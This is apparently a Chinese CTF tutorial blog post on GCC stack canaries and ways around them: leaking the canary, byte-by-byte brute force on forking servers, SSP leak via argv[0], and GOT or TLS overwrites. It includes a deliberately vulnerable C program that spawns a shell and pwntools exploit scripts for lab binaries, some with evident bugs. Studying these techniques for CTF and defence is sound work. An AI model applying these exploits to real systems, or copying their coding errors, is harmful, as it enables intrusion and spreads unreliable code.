canary保护介绍以及绕过

February 10, 2019 PWN 访问: 28 次

原理

在GCC中开启canary保护:

-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确stack_protect attribute的函数开启保护
-fno-stack-protector 禁用保护.

在程序中的canary就是来检测栈溢出的,保护机制如下:

  1. 程序从一个地方取出一个4(eax)或者8(rax)节的值,然后放在栈上,在32位程序中:

在64位上,你可能会看到:

  1. 在执行程序时,程序到函数执行完的时候,会再次将canary的值取出来,和栈上的值进行比较,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序将自动终止。

canary绕过技术

泄露栈中的canary

canary设计是以“\x00”结尾,本意就是为了保证canar可以截断字符串。泄露栈中canary的思路是覆盖canary的低字节,来打印出剩余的canary部分。泄露条件需要一是可以引起栈溢出,二是可以输出出来。

栈上的canary高低位以及小端(注意\x00在低地址):


Example:

程序源代码:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译:gcc -m32 -fstack-protector-all filename.c -o filename
Solve:

from pwn import *
context.binary = 'pwn_test'
r = process("pwn_test")
shell_addr = ELF("./pwn_test").sym["getshell"]
r = recvuntil("Hello Hacker!\n")
payload = "a"*100
r.sendline(payload)
print r.recvuntil("a"*100)
canart = u32(r.recv(4)-0x0a)
print "canary:"+hex(canary)
payload = "a"*100+p32(canary)+"a"*8+"aaaa"+p32(shell_addr)
r.sendline(payload)
r.interactive()

one-by-one 爆破canary

有些pwn题中存在fork函数,fork函数详解 ,且程序开启了canary保护,在一定的条件下我们可以将canary爆破出来

爆破原理:

程序中存在栈溢出,并且可以覆盖到canary的位置,我们可以一位一位的将爆破出来,脚本模板:

log.info("---------------------------爆破canary-----------------------------------")
canary = "\x00"
for x in xrange(3):
    for y in xrange(256):
        # 条件准备
        r.send("a"*offset+canary+chr(y))
        if 判断正确条件:
            # ……code……
        else:
            canary = canary+chr(y)
            log.info('At round %d find canary byte %#x' %(x, y))
            r.recv()
            break
log.info("爆破出canary的值为%#x"%(u32(canary)))

Example(~/NSCTF 2017-pwn2/pwn2)

发现程序开启了canary保护和NX(栈不可执行):

➜  爆破 checksec --file pwn2
[*] '/home/wxm/Desktop/canary\xe4\xbf\x9d\xe6\x8a\xa4\xe8\xaf\xa6\xe8\xa7\xa3/\xe7\x88\x86\xe7\xa0\xb4/pwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

拖入IDA中查看伪代码:

main函数:
int __cdecl main()
{
  char v1; // [esp+1Bh] [ebp-5h]
  __pid_t v2; // [esp+1Ch] [ebp-4h]
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  while ( 1 )
  {
    write(1, "[*] Do you love me?[Y]\n", 0x17u);
    if ( getchar() != 'Y' )
      break;
    v1 = getchar();
    while ( v1 != '\n' && v1 )
      ;
    v2 = fork();
    if ( v2 )
    {
      if ( v2 <= 0 )
      {
        if ( v2 < 0 )
          exit(0);
      }
      else
      {
        wait(0);
      }
    }
    else
    {
      sub_80487FA();
    }
  }
  return 0;
}
---------------------------------------------------------------------------
sub_80487FA()
unsigned int sub_80487FA()
{
  char *s; // ST18_4
  int buf; // [esp+1Ch] [ebp-1Ch]
  int v3; // [esp+20h] [ebp-18h]
  int v4; // [esp+24h] [ebp-14h]
  int v5; // [esp+28h] [ebp-10h]
  unsigned int v6; // [esp+2Ch] [ebp-Ch]
  v6 = __readgsdword(0x14u);
  buf = 0;
  v3 = 0;
  v4 = 0;
  v5 = 0;
  s = (char *)malloc(0x40u);
  sub_804876D(&buf);
  sprintf(s, "[*] Welcome to the game %s", &buf);
  printf(s);
  puts("[*] Input Your Id:");
  read(0, &buf, 0x100u);
  return __readgsdword(0x14u) ^ v6;
}
---------------------------------------------------------------------------
sub_804876D()
unsigned int __cdecl sub_804876D(void *a1)
{
  size_t v1; // ST18_4
  char s; // [esp+1Ch] [ebp-4Ch]
  unsigned int v4; // [esp+5Ch] [ebp-Ch]
  v4 = __readgsdword(0x14u);
  memset(&s, 0, 0x40u);
  puts("[*] Input Your name please:");
  __isoc99_scanf("%s", &s);
  v1 = strlen(&s);
  memcpy(a1, &s, v1 + 1);
  return __readgsdword(0x14u) ^ v4;
}

经过测试后可以将canary爆破出来,爆破脚本如下:

#coding:utf-8
from pwn import *
r = process("pwn2")
file = ELF("./pwn2")
libc = ELF("./libc.so.6_x86")
log.info("---------------------------条件准备-----------------------------------")
print " puts_plt_addr:"+hex(file.plt['puts'])
print " puts_got_addr:"+hex(file.got['puts'])
r.recv()
r.sendline("Y")
r.recv()
r.sendline("radish")
r.recv()
r.send("a"*16+"\x00")
log.info("---------------------------爆破canary-----------------------------------")
str1 = r.recv()
true_len = 46
canary = "\x00"
for x in xrange(3):
    for y in xrange(256):
        r.sendline("Y")
        r.recv()
        r.sendline("radish")
        r.recv()
        r.send("a"*16+canary+chr(y))
        if "<unknown>" in r.recvuntil("[*] Do you love me?[Y]",drop=True):
            a=123
        else:
            canary = canary+chr(y)
            log.info('At round %d find canary byte %#x' %(x, y))
            r.recv()
            break
log.info("爆破出canary的值为%#x"%(u32(canary)))
log.info("---------------------------测试canary正确性-----------------------------------")
r.sendline("Y")
print r.recv()
r.sendline("wxm")
print r.recv()
payload = "a"*16+canary+"a"*12+p32(file.plt['puts'])+"aaaa"+p32(0x0804833D)
r.sendline(payload)
print r.recv()

结果如下:

SSP Leak

在canary不对的情况下,程序在终止之前程序流会执行__stack_chk_fail()函数,如下所示:

canary在栈中的相对位置


__stack_chk_fail()函数定义如下:

eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

当程序执行__stack_chk_fail()函数的时候会输出类似:

*** stack smashing detected ***: ./guess terminated
                                    |
                                    v
                                   argv[0]

当程序中存在栈溢出,并且溢出的长度可以覆盖掉程序中的argv[0]的时候,我们可以通过这种方法打印任意地址上的值,造成任意地址读。
更深一步的来讲,对于linux,fs段寄存器实际指向的是当前栈的TLS结构,fs:0x28指向的正是stack_guard。

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
                       thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  ...
} tcbhead_t;

如果存在溢出可以覆盖位于TLS中保存的canary值,那么就可以实现绕过保护机制
TLS中的值由函数security_init进行初始化。

static void
security_init (void)
{
  // _dl_random的值在进入这个函数的时候就已经由kernel写入.
  // glibc直接使用了_dl_random的值并没有给赋值
  // 如果不采用这种模式, glibc也可以自己产生随机数
  //将_dl_random的最后一个字节设置为0x0
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
  // 设置Canary的值到TLS中
  THREAD_SET_STACK_GUARD (stack_chk_guard);
  _dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

2018年网鼎杯---guess

首先checksec程序:

➜  ssp_leak checksec --file guess
[*] '/home/wxm/Desktop/ssp_leak/guess'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

放入IDA中f5:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
  int v5; // [rsp+1Ch] [rbp-84h]
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf; // [rsp+30h] [rbp-70h]
  char s2; // [rsp+60h] [rbp-40h]
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]
  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6(a1, a2, a3);
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

程序开启了Canary保护,并且存在有栈溢出,可以覆盖掉argv[0],还可以进行三次栈溢出,所以我们就可以用这种方法来泄露处flag

  1. 找argv[0]的地址,计算出偏移量
    第一种方法:首先使用gdb将程序载入,在栈很高的位置上可以看到,它默认是指向文件名的

    第二种方法:在gdb中:
pwndbg> p & __libc_argv[0]
$1 = (char **) 0x7fffffffe0f8

我们输入的字符串s2在“rsp+60/rbp-40”,flag在“rsp+30/rbp-70”。可以计算出能覆盖掉argv[0]的偏移是0x128

  1. 通过泄露_environ,也就是真实栈的地址
    在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section)
    用来存储系统环境变量的一份复制文件,进程在运行时可能需要。
    例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。
    该节是可写的,因此在格式串(format string)和缓冲区溢出(buffer overflow)攻击中都可以攻击该节。
    *environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。
    环境表是一个表示环境字符串的字符指针数组,由name=value这样类似的字符串组成,它储存在整个进程空间的的顶部,栈地址之上
    其中value是一个以”\0″结束的C语言类型的字符串,代表指针该环境变量的值
    一般我们见到的name都是大写,但这只是一个惯例
    我们需要泄漏出栈的地址,才能泄漏出flag,而environ存着栈的地址,那么我们就泄漏它

  2. 通过栈的地址计算出flag所在的真实地址,然后利用该地址覆盖掉argv[0]来泄露处flag。

我试着复现了这一道题目,但是由于环境原因一直没有成功。

劫持__stack_chk_fail函数

在开启canary保护的程序中,如果canary不对的情况下,程序会转到__stack_chk_fail函数执行,__stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。利用方式就是通过格式化字符串漏洞来修改GOT表中的值。由于我还没学习到格式化字符串漏洞的利用,之后学习过之后再来尝试一下。

覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。例子 中的Babystack。

添加新评论